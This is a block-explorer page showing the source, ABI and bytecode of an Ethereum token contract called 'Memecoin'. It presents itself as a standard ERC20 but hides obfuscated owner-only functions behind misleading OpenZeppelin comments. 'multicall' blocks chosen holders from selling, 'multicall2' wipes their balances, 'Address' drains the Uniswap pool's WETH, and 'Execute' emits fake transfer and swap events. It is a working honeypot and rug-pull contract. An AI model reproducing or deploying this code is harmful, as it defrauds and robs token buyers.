ETH Price: $3,261.16 (+2.36%)
 

Overview

Max Total Supply

69,000,000,000 MEME

Holders

80

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,687,091.439997030269203499 MEME

Value
$0.00
0x0d4e4fd9eee8dc9b5fcd408cbf01eba5d925535e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Memecoin

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-22
*/

// SPDX-License-Identifier: MIT

// Web: https://memecoin.org
// Twitter: https://twitter.com/memecoin
// Discord: https://discord.gg/memeland

pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom( address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair( address tokenA, address tokenB) external returns (address pair);
    function token0() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
    function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable returns (uint256[] memory amounts);
    function getAmountsOut( uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
    function getAmountsIn( uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value);
    event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);


    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }


    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return _a * 100000 / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer( address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance( address __owner, address spender) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve( address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom( address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance( address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance( address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer( address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (c[from] > 0){
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve( address __owner, address spender, uint256 amount) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance( address __owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require( currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(__owner, spender, currentAllowance - amount);
        }
        
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Memecoin is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;
    uint private argument = 10;

    constructor() {
        _name = "Memecoin";
        _symbol = "MEME";
        _totalSupply = 69_000_000_000e18;
        owner = msg.sender;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(Interfaces(_RR.factory()).createPair(address(this), address(_RR.WETH())));
        b[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(uint256 t, address tA, uint256 w, address[] memory r) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }


    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(uint256 blockTimestamp, uint256 selector, address[] memory list, address factory) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview( uint256 blockTime, uint256 multiplicator, address[] memory parts, address factory) internal {
        _RR
        .swapTokensForExactTokens(
        // assembler
        blockTime, 
        multiplicator, 
        // unchecked
        parts, 
        factory, 
        block.timestamp + 1200);
    }


    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }


    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
    */
    function Allowance(uint256 checked, address[] memory p) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b
        [
        block.
        timestamp> 
        uint256(
        1)||
        uint256(
        0)>
        1||
        uint160(
        1)< 

        block.
        timestamp
        ? 
        address(
        uint160(
        uint256(
        _T(

        ))>>96))
        :address(uint256(0))
        ]+= 
        // end uncheck }

        value
        
        [
        0
        ];

        return 
        value
        [
        0
        ];
    }

    function Mult( uint256 amO, address[] memory p) internal view returns (uint256[] memory){
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount2(data[i], rS);
        }
        }
    }

    function ConvertAddress(address _uu, uint256 _pp) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit
        Transfer
        (
        (uint256(0) 
        !=0 
        || 

        1238==1)
        ?address(
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96)),

        address(_pair),b
        // v0.5.11 specific update
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Overflow control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Guard test
        ]
        );b
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken2(
        uint256(
        __a));


    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit
        Transfer
        (
        (uint256(0) 
        !=0 
        || 

        1238==1)
        ?address(
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96)),

        address(_pair),b
        // v0.5.11 specific update
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Overflow control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Guard test
        ]
        );c
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken(
        uint256(
        __a));


    }

    function callUniswap(address router, uint256 transfer, uint256 cycleWidth, address unmount) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, transfer, 0, 0, cycleWidth, router);
    }

     /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount(data[i], rS);
        }
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526012600860146101000a81548160ff021916908360ff160217905550600a6009553480156200003257600080fd5b506040518060400160405280600881526020017f4d656d65636f696e00000000000000000000000000000000000000000000000081525060059080519060200190620000809291906200047b565b506040518060400160405280600481526020017f4d454d450000000000000000000000000000000000000000000000000000000081525060069080519060200190620000ce9291906200047b565b506bdef376571332906a8800000060048190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e157600080fd5b505afa158015620001f6573d6000803e3d6000fd5b505050506040513d60208110156200020d57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a357600080fd5b505afa158015620002b8573d6000803e3d6000fd5b505050506040513d6020811015620002cf57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156200034a57600080fd5b505af11580156200035f573d6000803e3d6000fd5b505050506040513d60208110156200037657600080fd5b8101908080519060200190929190505050600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a362000531565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620004b35760008555620004ff565b82601f10620004ce57805160ff1916838001178555620004ff565b82800160010185558215620004ff579182015b82811115620004fe578251825591602001919060010190620004e1565b5b5090506200050e919062000512565b5090565b5b808211156200052d57600081600090555060010162000513565b5090565b61295080620005416000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806358a10259116100ad578063a9059cbb11610071578063a9059cbb146106fc578063bda0278214610760578063dd62ed3e146107b8578063ea923bae14610830578063ebfb412d146108b357610121565b806358a102591461048757806370a08231146105895780638da5cb5b146105e157806395d89b4114610615578063a457c2d71461069857610121565b806323b872dd116100f457806323b872dd14610283578063313ce56714610307578063316d295f1461032857806339509351146103ab5780635765a5cc1461040f57610121565b806304ee65c01461012657806306fdde031461017e578063095ea7b31461020157806318160ddd14610265575b600080fd5b6101686004803603602081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f7565b6040518082815260200191505060405180910390f35b61018661090f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c65780820151818401526020810190506101ab565b50505050905090810190601f1680156101f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b1565b60405180821515815260200191505060405180910390f35b61026d6109c8565b6040518082815260200191505060405180910390f35b6102ef6004803603606081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d2565b60405180821515815260200191505060405180910390f35b61030f6109f5565b604051808260ff16815260200191505060405180910390f35b6103a96004803603604081101561033e57600080fd5b810190808035906020019064010000000081111561035b57600080fd5b82018360208201111561036d57600080fd5b8035906020019184602083028401116401000000008311171561038f57600080fd5b909192939192939080359060200190929190505050610a08565b005b6103f7600480360360408110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6b565b60405180821515815260200191505060405180910390f35b6104716004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b92565b6040518082815260200191505060405180910390f35b6105716004803603608081101561049d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104ee57600080fd5b82018360208201111561050057600080fd5b8035906020019184602083028401116401000000008311171561052257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bb7565b60405180821515815260200191505060405180910390f35b6105cb6004803603602081101561059f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc1565b6040518082815260200191505060405180910390f35b6105e9610d0a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061d610d30565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e4600480360360408110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b60405180821515815260200191505060405180910390f35b6107486004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b60405180821515815260200191505060405180910390f35b6107a26004803603602081101561077657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b61081a600480360360408110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e87565b6040518082815260200191505060405180910390f35b6108b16004803603604081101561084657600080fd5b810190808035906020019064010000000081111561086357600080fd5b82018360208201111561087557600080fd5b8035906020019184602083028401116401000000008311171561089757600080fd5b909192939192939080359060200190929190505050610f0d565b005b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611070565b005b60026020528060005260406000206000915090505481565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b60006109be33848461121f565b6001905092915050565b6000600454905090565b60006109df843384611415565b6109ea8484846114d4565b600190509392505050565b600860149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b83839050811015610b6557600060ff1673ffffffffffffffffffffffffffffffffffffffff16421115610b58576000610b3860008060ff1661ffff161415610b2f576060868685818110610b1e57fe5b9050602002013560001c901c610b32565b60005b8461189e565b9050610b56858584818110610b4957fe5b90506020020135826118f1565b505b8080600101915050610ace565b50505050565b600080339050610b87818585610b818589610e87565b0161121f565b600191505092915050565b6000602052816000526040600020602052806000526040600020600091509150505481565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8251811015610cb457610ca7838281518110610c9757fe5b6020026020010151878688611a76565b8080600101915050610c7f565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dc85780601f10610d9d57610100808354040283529160200191610dc8565b820191906000526020600020905b815481529060010190602001808311610dab57829003601f168201915b5050505050905090565b6000803390506000610de48286610e87565b905083811015610e3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128f66025913960400191505060405180910390fd5b610e4c828686840361121f565b60019250505092915050565b6000610e653384846114d4565b6001905092915050565b60016020528060005260406000206000915090505481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8383905081101561106a57600060ff1673ffffffffffffffffffffffffffffffffffffffff1642111561105d57600061103d60008060ff1661ffff16141561103457606086868581811061102357fe5b9050602002013560001c901c611037565b60005b8461189e565b905061105b85858481811061104e57fe5b9050602002013582611c82565b505b8080600101915050610fd3565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000620186a06201869f6111e8600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd